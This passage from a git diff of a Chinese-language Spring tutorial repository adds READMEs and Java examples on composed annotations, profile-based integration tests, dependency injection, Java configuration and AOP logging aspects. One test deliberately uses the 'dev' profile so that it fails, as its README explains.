+解释一下@Documented:
+表明这个注解应该被 javadoc工具记录. 默认情况下,javadoc是不包括注解的. 但如果声明注解时指定了 @Documented,则它会被 javadoc 之类的工具处理, 所以注解类型信息也会被包括在生成的文档中.
+
+##服务Bean
+
+```
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:17.
+ * Explain:服务Bean
+ */
+@Service
+public class DemoService {
+ public void outputResult(){
+ System.out.println("从组合注解配置照样获得的bean");
+ }
+}
+
+```
+
+##配置类
+
+现在就只需要我们自定义的那个注解就可以代表那两个注解了。
+
+```
+package cn.hncu.p3.p5_annotation;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:19.
+ * Explain:配置类--组合注解
+ */
+@WiselyConfiguration("cn.hncu.p3.p5_annotation")
+//自定义注解,扫描的所有的bean来源于value值所对应的包路径下
+//使用@WiselyConfiguration组合注解替代@Configuration和@ComponentScan
+public class DemoConfig {
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 8:21.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DemoConfig.class);
+ DemoService demoService = context.getBean(DemoService.class);
+ demoService.outputResult();
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/src/main/java/cn/hncu/p3/p5_annotation/WiselyConfiguration.java b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/WiselyConfiguration.java
new file mode 100644
index 0000000..49d3494
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p5_annotation/WiselyConfiguration.java
@@ -0,0 +1,26 @@
+package cn.hncu.p3.p5_annotation;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+import java.lang.annotation.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/8.
+ * Time: 下午 4:00.
+ * Explain:组合注解
+ */
+
+@Target(ElementType.TYPE)
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+//表明这个注解应该被 javadoc工具记录. 默认情况下,javadoc是不包括注解的. 但如果声明注解时指定了 @Documented,
+// 则它会被 javadoc 之类的工具处理, 所以注解类型信息也会被包括在生成的文档中.
+@Configuration//组合@Configuration元注解 bean注解
+@ComponentScan//组合@ComponentScan元注解 自动扫描对应value(package路径)值下面的所有bean
+public @interface WiselyConfiguration {
+ String[] value() default {};//覆盖value参数
+ //就是覆盖@ComponentScan注解中的value参数----必须要写,否则组合注解中放入value值时会报错
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p7_fortest/README.md b/springBoot/src/main/java/cn/hncu/p3/p7_fortest/README.md
new file mode 100644
index 0000000..2611e85
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p7_fortest/README.md
@@ -0,0 +1,177 @@
+进行本示例的演示,需要先配置好Maven和Spring哦、
+见:
+【Spring】基于IntelliJ IDEA搭建Maven
+
+#分析
+
+测试是开发工作中不可缺少的部分。
+
+单元测试只针对当前开发的类和方法进行测试,可以简单通过模拟依赖来实现,对运行环境没有依赖;
+
+但是仅仅进行单元测试是不够的,它只能验证当前类或当前方法能否正常工作,而我们想要知道系统的各个部分组合在一起是否能正常工作,这就是集成测试存在的意义!
+
+集成测试一般需要来自不同层的不同对象的交互,如数据库、网络连接、Ioc容器等。
+
+其实我们也经常通过运行程序,然后通过自己操作来完成类似于集成测试的流程。集成测试为我们提供了一种无须部署或运行程序来完成验证系统各部分是否能正常协同工作的能力。
+
+Spring通过Spring TestContext Framework 对集成测试提供顶级支持。
+
+它不依赖于特定的测试框架,即可使用Junit,也可使用TestNG。
+在下面的示例中,使用的是Junit。
+
+基于Maven构建的项目结构默认有关测试的目录是:src/test/java(测试代码)、src/test/resources(测试资源),区别于src/main/java(项目源码)、src/main/resources(项目资源)。
+
+Spring提供了一个SpringJunitClassRunner类,它提供了Spring TestContext Framework的功能。
+
+通过@ContextConfiguration来配置Application Context,通过@ActiveProfiles确定活动的profile。
+
+在使用了Spring测试后,之前我的博客写的运行类,也就是运行部分都可以使用Spring测试来检测功能能否正常运作。
+
+集成测试涉及程序中的各个分层,本节只对简单配置的Application Context和在测试中注入Bean做演示。
+
+#示例
+
+##准备
+首先,我们需要准备一下,增加Spring测试的依赖包到Maven。
+也就是加入到pom.xml中去。
+
+```
+
+
+ org.springframework
+ spring-test
+ 4.2.3.RELEASE
+
+
+ junit
+ junit
+ 4.12
+
+```
+
+##业务代码
+
+此源码在src/main/java下
+
+```
+package cn.hncu.p3.p7_fortest;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/9.
+ * Time: 下午 9:21.
+ * Explain:业务代码
+ */
+public class TestBean {
+ private String content;
+
+ public TestBean(String content) {
+ super();
+ this.content = content;
+ }
+
+ public String getContent() {
+ return content;
+ }
+
+ public void setContent(String content) {
+ this.content = content;
+ }
+}
+
+```
+
+##配置类
+
+此源码在src/main/java下
+
+```
+package cn.hncu.p3.p7_fortest;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/9.
+ * Time: 下午 9:23.
+ * Explain:配置类
+ */
+@Configuration
+public class TestConfig {
+ @Bean
+ @Profile("dev")
+ public TestBean devTestBean(){
+ return new TestBean("development profile");
+ }
+
+ @Bean
+ @Profile("prod")
+ public TestBean prodTestBean(){
+ return new TestBean("production profile");
+ }
+}
+
+```
+
+##测试
+
+注意!此源码在src/test/java下
+
+```
+package cn.hncu.p3.p7_fortest;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.test.context.ActiveProfiles;
+import org.springframework.test.context.ContextConfiguration;
+import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/9.
+ * Time: 下午 9:27.
+ * Explain:测试类---源码在src/test/java下
+ */
+@RunWith(SpringJUnit4ClassRunner.class)//在SpringJUnit4ClassRunner在Junit环境下提供Spring TextContext Framework的功能
+@ContextConfiguration(classes = {TestConfig.class})//@ContextConfiguration用来加载配置ApplicationContext,其中classes属性用来加载配置类
+@ActiveProfiles("prod")
+public class DemoBeanIntegrationTests {
+ @Autowired//可以使用普通的@Autowired注入Bean
+ private TestBean testBean;
+
+ @Test//测试代码,通过Junit的Assert来校验结果是否和预期的一样
+ public void prodBeanShouldInject(){
+ String expected = "production profile";
+ String actual = testBean.getContent();
+ System.out.println(actual);
+ Assert.assertEquals(expected,actual);//用来查看对象中存的值是否是期待的值,与字符串比较中使用的equals()方法类似;
+ }
+}
+
+```
+
+#运行结果
+
+
+
+我们现在改一下测试类
+
+将此处的
+
+@ActiveProfile("prod")改为@ActiveProfile("dev")
+只改此处。
+
+看运行结果:
+
+
+
+这是测试不能通过的结果!
+
+会有红色警示!
diff --git a/springBoot/src/main/java/cn/hncu/p3/p7_fortest/TestBean.java b/springBoot/src/main/java/cn/hncu/p3/p7_fortest/TestBean.java
new file mode 100644
index 0000000..66c8875
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p7_fortest/TestBean.java
@@ -0,0 +1,25 @@
+package cn.hncu.p3.p7_fortest;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/9.
+ * Time: 下午 9:21.
+ * Explain:业务代码
+ */
+public class TestBean {
+ private String content;
+
+ public TestBean(String content) {
+ super();
+ this.content = content;
+ }
+
+ public String getContent() {
+ return content;
+ }
+
+ public void setContent(String content) {
+ this.content = content;
+ }
+}
diff --git a/springBoot/src/main/java/cn/hncu/p3/p7_fortest/TestConfig.java b/springBoot/src/main/java/cn/hncu/p3/p7_fortest/TestConfig.java
new file mode 100644
index 0000000..8e04dcf
--- /dev/null
+++ b/springBoot/src/main/java/cn/hncu/p3/p7_fortest/TestConfig.java
@@ -0,0 +1,27 @@
+package cn.hncu.p3.p7_fortest;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Profile;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/9.
+ * Time: 下午 9:23.
+ * Explain:配置类
+ */
+@Configuration
+public class TestConfig {
+ @Bean
+ @Profile("dev")
+ public TestBean devTestBean(){
+ return new TestBean("development profile");
+ }
+
+ @Bean
+ @Profile("prod")
+ public TestBean prodTestBean(){
+ return new TestBean("production profile");
+ }
+}
diff --git a/springBoot/src/test/java/cn/hncu/p3/p7_fortest/DemoBeanIntegrationTests.java b/springBoot/src/test/java/cn/hncu/p3/p7_fortest/DemoBeanIntegrationTests.java
new file mode 100644
index 0000000..703e615
--- /dev/null
+++ b/springBoot/src/test/java/cn/hncu/p3/p7_fortest/DemoBeanIntegrationTests.java
@@ -0,0 +1,32 @@
+package cn.hncu.p3.p7_fortest;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.test.context.ActiveProfiles;
+import org.springframework.test.context.ContextConfiguration;
+import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/12/9.
+ * Time: 下午 9:27.
+ * Explain:测试类---源码在src/test/java下
+ */
+@RunWith(SpringJUnit4ClassRunner.class)//在SpringJUnit4ClassRunner在Junit环境下提供Spring TextContext Framework的功能
+@ContextConfiguration(classes = {TestConfig.class})//@ContextConfiguration用来加载配置ApplicationContext,其中classes属性用来加载配置类
+@ActiveProfiles("dev")
+public class DemoBeanIntegrationTests {
+ @Autowired//可以使用普通的@Autowired注入Bean
+ private TestBean testBean;
+
+ @Test//测试代码,通过Junit的Assert来校验结果是否和预期的一样
+ public void prodBeanShouldInject(){
+ String expected = "production profile";
+ String actual = testBean.getContent();
+ System.out.println(actual);
+ Assert.assertEquals(expected,actual);//用来查看对象中存的值是否是期待的值,与字符串比较中使用的equals()方法类似;
+ }
+}
diff --git a/springBoot/target/classes/cn/hncu/p1_3_1/DiConfig.class b/springBoot/target/classes/cn/hncu/p1_3_1/DiConfig.class
new file mode 100644
index 0000000..c6ebf9e
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_1/DiConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_1/FunctionService.class b/springBoot/target/classes/cn/hncu/p1_3_1/FunctionService.class
new file mode 100644
index 0000000..a448f6d
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_1/FunctionService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_1/Main.class b/springBoot/target/classes/cn/hncu/p1_3_1/Main.class
new file mode 100644
index 0000000..4cce5b3
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_1/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_1/README.md b/springBoot/target/classes/cn/hncu/p1_3_1/README.md
new file mode 100644
index 0000000..c40fe1c
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p1_3_1/README.md
@@ -0,0 +1,149 @@
+
+Spring框架本身有四大原则:
+1、使用POJO进行轻量级和最小侵入式开发
+2、通过依赖注入和基于接口编程实现松耦合
+3、通过AOP和默认习惯进行声明式编程
+4、使用AOP和模板减少模式化代码
+
+在Spring环境中,控制翻转(IoC)-Inversion of Control和依赖注入(DI)-dependency injection是等同的概念。
+
+控制翻转是通过依赖注入实现的。所谓依赖注入指的是容器负责创建对象和维护对象间的依赖关系,而不是通过对象本身负责自己的创建和解决自己的依赖。
+
+依赖注入的主要目的是为了解耦,体现了一种"组合"的理念。
+
+可以这样理解,当我们希望某个类具备某项功能时,可以选择继承一个具有此功能的类,也可以选择组合另外一个具有此功能的类。那么显然,我们选择组合。因为组合另外一个类会使得耦合度大大降低。
+
+组合:组合关系就是整体与部分的关系,部分属于整体,整体不存在,部分一定不存在,然而部分不存在整体是可以存在的,说的更明确一些就是部分必须创生于整体创生之后,而销毁于整体销毁之前。部分在这个生命期内可以被其它对象关联甚至聚合,但有一点必须注意,一旦部分所属于的整体销毁了,那么与之关联的对象中的引用就会成为空引用,这一点可以利用程序来保障。
+
+
+Spring IoC容器(ApplicationContext)负责创建Bean,并通过容器将功能类Bean注入到你需要的Bean中。
+Spring提供使用xml,注解,Java配置,groovy配置实现Bean的创建和注入。
+这些配置方式,都被称为配置元数据。
+元数据:即描述数据的数据。元数据本身不具备任何可执行的能力,只能通过外界代码来对这些元数据行解析后进行一些有意义操作。
+Spring容器解析这些配置元数据进行Bean初始化、配置和管理依赖。
+
+声明Bean的注解
+ @Component组件,没有明确的角色。
+ @Service在业务逻辑层(service层)使用。
+ @Repository在数据访问层(dao层)使用。
+ @Controller在展现层(MVC)
+
+注入Bean的注解,一般情况下通用
+ @Autowired:Spring提供的注解。
+ @Inject:JSR-330提供的注解。
+ @Resource:JSR-250提供的注解。
+@Autowired,@Inject,@Resource都可注解在set方法上或者属性上。
+
+演示实例:
+演示基于注解的Bean的初始化和依赖注入。
+
+首先需要先安装好Maven,搭建好Spring,
+我在这篇博客中有介绍:
+http://blog.csdn.net/qq_26525215/article/details/53010442
+
+编写功能类Bean:
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.stereotype.Component;
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:03.
+ */
+@Service
+//使用@Service注解声明当前FunctionService类是Spring管理的一个Bean。其中,使用@Component,@Service,@Repository和
+//@Controller是等效的。
+public class FunctionService {
+ public String sayHello(String word){
+ return "Hello "+word +" !";
+ }
+}
+```
+
+
+使用功能类Bean:
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.stereotype.Service;
+
+import javax.annotation.Resource;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:04.
+ */
+@Service
+//使用@Service注解声明当前UseFunctionService类是Spring管理的一个Bean
+public class UseFunctionService {
+ @Autowired
+ //使用@Autowired将FunctionService的尸体Bean注入到UseFunctionService中,
+ //让UseFunctionService具备FunctionService的功能,此处使用@Inject或者@Resource注解是等效的。
+ FunctionService functionService;
+ public String sayHello(String word){
+ return functionService.sayHello(word);
+ }
+}
+
+```
+
+
+配置类:
+
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:08.
+ */
+@Configuration
+//@Configuration声明当前类是配置类。
+@ComponentScan("cn.hncu.p1_3_1")
+//使用@ComponentScan,自动扫描包名下所有使用@Service,@Component,@Repository和@Controller的类,并注册为Bean
+public class DiConfig {
+}
+
+```
+
+运行:
+
+```
+package cn.hncu.p1_3_1;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/3.
+ * Time: 上午 9:09.
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DiConfig.class);
+ //使用AnnotationConfigApplicationContext作为Spring容器,接受输入一个配置类作为参数
+ UseFunctionService useFunctionService = context.getBean(UseFunctionService.class);
+ //获得声明配置的UseFunctionService的Bean
+ System.out.println(useFunctionService.sayHello("张三"));
+ context.close();
+}
+}
+
+```
+
+输出结果:
+
+
diff --git a/springBoot/target/classes/cn/hncu/p1_3_1/UseFunctionService.class b/springBoot/target/classes/cn/hncu/p1_3_1/UseFunctionService.class
new file mode 100644
index 0000000..f3af3bd
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_1/UseFunctionService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_2/FunctionService.class b/springBoot/target/classes/cn/hncu/p1_3_2/FunctionService.class
new file mode 100644
index 0000000..df1ccd2
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_2/FunctionService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_2/JavaConfig.class b/springBoot/target/classes/cn/hncu/p1_3_2/JavaConfig.class
new file mode 100644
index 0000000..861723d
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_2/JavaConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_2/Main.class b/springBoot/target/classes/cn/hncu/p1_3_2/Main.class
new file mode 100644
index 0000000..814d23f
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_2/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_2/README.md b/springBoot/target/classes/cn/hncu/p1_3_2/README.md
new file mode 100644
index 0000000..fa08f67
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p1_3_2/README.md
@@ -0,0 +1,142 @@
+#分析
+
+Java配置是Spring4.x推荐的配置方式,可以完全替代xml配置;
+Java配置也是Spring Boot推荐的配置方式。
+
+Java配置不需要@Service声明Bean。
+也不需要@Autowired注入Bean。
+只需要通过@Configuration和@Bean来实现。
+
+```
+@configuration声明当前类是一个配置类,相当于一个Spring配置的xml文件.
+@Bean注解在方法上,声明当前方法的返回值为一个Bean.
+```
+
+本篇只是演示最简单的Java配置,本【Spring】系列博客会一直更新。
+要一直学下去的,可以关注我博客。
+
+对于类的说明,我一般是写在代码注释中。
+
+#示例:
+
+##编写功能类的Bean
+```
+package cn.hncu.p1_3_2;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 10:43.
+ */
+
+//注意! 此处没有使用@Service
+public class FunctionService {
+ public String sayHello(String word){
+ return "Hello "+word + " !";
+ }
+}
+```
+
+
+##使用功能类的Bean
+
+```
+package cn.hncu.p1_3_2;
+
+import cn.hncu.p1_3_1.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:10.
+ */
+//注意!此处没有使用@Service声明Bean
+public class UseFunctionService {
+ FunctionService functionService;
+ //此处没有使用@Autowired注解注入Bean
+ public void setFunctionService(FunctionService functionService){
+ this.functionService = functionService;
+ }
+
+ public String sayHello(String word){
+ return functionService.sayHello(word);
+ }
+}
+
+```
+
+##配置类
+
+```
+package cn.hncu.p1_3_2;
+
+import org.springframework.context.annotation.Bean;
+import org.springframework.context.annotation.Configuration;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:17.
+ */
+@Configuration
+//使用@Configuration注解表明当前类是一个配置类,这意味着这个类里可能有0个或者多个@Bean注解、
+//此处没有使用包扫描,是因为所有的Bean都在此类中定义了
+public class JavaConfig {
+ @Bean
+ //使用@Bean注解声明当前方法FunctionService的返回值是一个Bean,Bean的名称是方法名
+ public FunctionService functionService(){
+ return new FunctionService();
+ }
+
+ /*
+ @Bean
+ public UseFunctionService useFunctionService(){
+ UseFunctionService useFunctionService = new UseFunctionService();
+ useFunctionService.setFunctionService(functionService());
+ //注入FunctionService的Bean时候直接调用functionService()
+ return useFunctionService;
+ }
+ */
+
+ @Bean
+ public UseFunctionService useFunctionService(FunctionService functionService){
+ //另外一种注入的方式,直接将FunctionService作为作为参数给useFunctionService(),这也是Spring容器提供的极好的功能。
+ //在Spring容器中,只要容器中存在某个Bean,就可以在另外一个Bean的声明方法的参数中直接写入
+ UseFunctionService useFunctionService = new UseFunctionService();
+ useFunctionService.setFunctionService(functionService);
+ return useFunctionService;
+ }
+}
+
+```
+
+##运行类
+
+```
+package cn.hncu.p1_3_2;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/4.
+ * Time: 下午 11:36.
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(JavaConfig.class);
+ UseFunctionService useFunctionService = context.getBean(UseFunctionService.class);
+ System.out.println(useFunctionService.sayHello("张三"));
+ context.close();
+ }
+}
+
+```
+
+##运行结果
+
+
\ No newline at end of file
diff --git a/springBoot/target/classes/cn/hncu/p1_3_2/UseFunctionService.class b/springBoot/target/classes/cn/hncu/p1_3_2/UseFunctionService.class
new file mode 100644
index 0000000..032a6f7
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_2/UseFunctionService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_3_aop/Action.class b/springBoot/target/classes/cn/hncu/p1_3_3_aop/Action.class
new file mode 100644
index 0000000..f14eb8e
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_3_aop/Action.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_3_aop/AopConfig.class b/springBoot/target/classes/cn/hncu/p1_3_3_aop/AopConfig.class
new file mode 100644
index 0000000..424c127
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_3_aop/AopConfig.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_3_aop/DemoAnnotationService.class b/springBoot/target/classes/cn/hncu/p1_3_3_aop/DemoAnnotationService.class
new file mode 100644
index 0000000..2c391c5
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_3_aop/DemoAnnotationService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_3_aop/DemoMethodService.class b/springBoot/target/classes/cn/hncu/p1_3_3_aop/DemoMethodService.class
new file mode 100644
index 0000000..beb4aa6
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_3_aop/DemoMethodService.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_3_aop/LogAspect.class b/springBoot/target/classes/cn/hncu/p1_3_3_aop/LogAspect.class
new file mode 100644
index 0000000..fc505d6
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_3_aop/LogAspect.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_3_aop/Main.class b/springBoot/target/classes/cn/hncu/p1_3_3_aop/Main.class
new file mode 100644
index 0000000..27794d2
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p1_3_3_aop/Main.class differ
diff --git a/springBoot/target/classes/cn/hncu/p1_3_3_aop/README.md b/springBoot/target/classes/cn/hncu/p1_3_3_aop/README.md
new file mode 100644
index 0000000..6ec3ab1
--- /dev/null
+++ b/springBoot/target/classes/cn/hncu/p1_3_3_aop/README.md
@@ -0,0 +1,240 @@
+#分析
+
+AOP: 面向切面编程,相对于OOP面向对象编程。
+OOP: Object Oriented Programming,面向对象的程序设计。
+
+Spring的AOP的存在目的是为了解耦。AOP可以让一组类共享相同的行为。
+在OOP中只能通过继承类和实现接口,来使代码的耦合度增强,且类继承只能为单继承,阻碍更多行为添加到一组类上,AOP弥补了OOP的不足。
+
+Spring支持AspectJ的注解式切面编程
+```
+1、使用@Aspect声明类是一个切面
+2、使用@After,@Before,@Around 定义建言(advice),可直接将拦截规则(切点)作为参数。
+3、其中@After,@Before,@Around参数的拦截规则为切点(PointCut),为了使切点复用,
+可使用@PointCut专门定义拦截规则,然后在@After,@Before,@Around的参数中调用
+4、其中符合条件的每一个被拦截处为连接点(JoinPoint)
+```
+
+本示例演示基于注解拦截和基于方法拦截两种方式,演示一种模拟记录操作的日志系统的实现。
+
+其中注解式拦截能够很好地控制要拦截的粒度和获得更丰富的信息,Spring本身在事务处理(@Transcational)和数据缓存(@Cacheable等)上面都使用此种形式的拦截。
+
+pom.xml的配置不再累赘写上。
+不知道写的朋友请见此篇博客:
+http://blog.csdn.net/qq_26525215/article/details/53010442
+
+
+#示例
+
+##添加Spring aop支持及AspectJ依赖
+```
+
+
+ org.springframework
+ spring-aop
+ 4.2.3.RELEASE
+
+
+
+
+
+ org.aspectj
+ aspectjrt
+ 1.8.9
+
+
+ org.aspectj
+ aspectjweaver
+ 1.8.9
+
+
+```
+
+##编写拦截规则的注解
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import java.lang.annotation.*;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:11.
+ * Explain:注解类
+ */
+@Target(ElementType.METHOD)
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+public @interface Action {
+ String name();
+}
+
+```
+
+
+##编写使用注解的被拦截类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:16.
+ * Explain:使用注解的被拦截类
+ */
+@Service
+public class DemoAnnotationService {
+ @Action(name = "@Action---DemoAnnotationService.add操作")
+ public void add(){
+ System.out.println("DemoAnnotationService.add...");
+ }
+}
+
+```
+
+##编写使用方法规则的被拦截类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.stereotype.Service;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:23.
+ * Explain:使用方法规则的被拦截类
+ */
+@Service
+public class DemoMethodService {
+ @Action(name="@Action---DemoMethodService.add操作")
+ public void add(){
+ System.out.println("DemoMethodService.add...");
+ }
+}
+
+```
+
+##编写切面
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.aspectj.lang.JoinPoint;
+import org.aspectj.lang.annotation.After;
+import org.aspectj.lang.annotation.Aspect;
+import org.aspectj.lang.annotation.Before;
+import org.aspectj.lang.annotation.Pointcut;
+import org.aspectj.lang.reflect.MethodSignature;
+import org.springframework.stereotype.Component;
+
+import java.lang.reflect.Method;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:24.
+ * Explain:切面
+ */
+@Aspect
+//通过@Aspect注解声明这是一个切面
+@Component
+//通过@Component让此切面成为Spring容器管理的Bean
+public class LogAspect {
+
+ //注意这两个@Pointcut写法的区别!!!
+ // 一个是拦截注解(写了@Action注解的方法都会被拦截),一个是拦截类方法
+ @Pointcut("@annotation(cn.hncu.p1_3_3_aop.Action)")//通过@PointCut注解声明切点
+ //@Pointcut("execution(* cn.hncu.p1_3_3_aop.DemoAnnotationService..*(..))")
+ //配置切入点,该方法无方法体,主要为方便同类中其他方法使用此处配置的切入点
+ public void annotatiomPointCut(){ }
+
+ //拦截注解
+ @After("annotatiomPointCut()")//通过@After注解声明一个建言,并使用@PointCut定义的切点
+ public void after(JoinPoint joinPoint){
+ MethodSignature signature =(MethodSignature)joinPoint.getSignature();
+ Method method = signature.getMethod();
+ Action action = method.getAnnotation(Action.class);
+ System.out.println(action.name());//通过反射可获得注解上的属性,可以用来做日志记录等相关操作
+ }
+
+ @Before("execution(* cn.hncu.p1_3_3_aop.DemoMethodService.*(..))")
+ //通过@Before注解声明一个建言,此建言直接使用拦截规则作为参数
+ public void before(JoinPoint joinPoint){
+ MethodSignature signature = (MethodSignature) joinPoint.getSignature();
+ Method method = signature.getMethod();
+ Action action = method.getAnnotation(Action.class);
+ System.out.println("方法规则式拦截:" + method.getName()+" "+action.name());
+ }
+
+
+}
+
+```
+
+##编写配置类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.context.annotation.ComponentScan;
+import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.EnableAspectJAutoProxy;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:42.
+ * Explain:配置类
+ */
+@Configuration
+@ComponentScan("cn.hncu.p1_3_3_aop")
+@EnableAspectJAutoProxy //使用@EnableAspectJAutoProxy注解开启Spring对AspectJ代理的支持
+public class AopConfig {
+}
+
+```
+
+
+##运行类
+
+```
+package cn.hncu.p1_3_3_aop;
+
+import org.springframework.context.annotation.AnnotationConfigApplicationContext;
+
+/**
+ * Created with IntelliJ IDEA.
+ * User: 陈浩翔.
+ * Date: 2016/11/9.
+ * Time: 上午 11:41.
+ * Explain:运行类
+ */
+public class Main {
+ public static void main(String[] args) {
+ AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(AopConfig.class);
+ DemoAnnotationService demoAnnotationService = context.getBean(DemoAnnotationService.class);
+ demoAnnotationService.add();
+
+ DemoMethodService demoMethodService = context.getBean(DemoMethodService.class);
+ demoMethodService.add();
+
+ context.close();
+ }
+}
+
+```
+
+#运行结果
+
+
+
diff --git a/springBoot/target/classes/cn/hncu/p2_1_1Scope/DemoPrototypeService.class b/springBoot/target/classes/cn/hncu/p2_1_1Scope/DemoPrototypeService.class
new file mode 100644
index 0000000..7e41cfc
Binary files /dev/null and b/springBoot/target/classes/cn/hncu/p2_1_1Scope/DemoPrototypeService.class differ
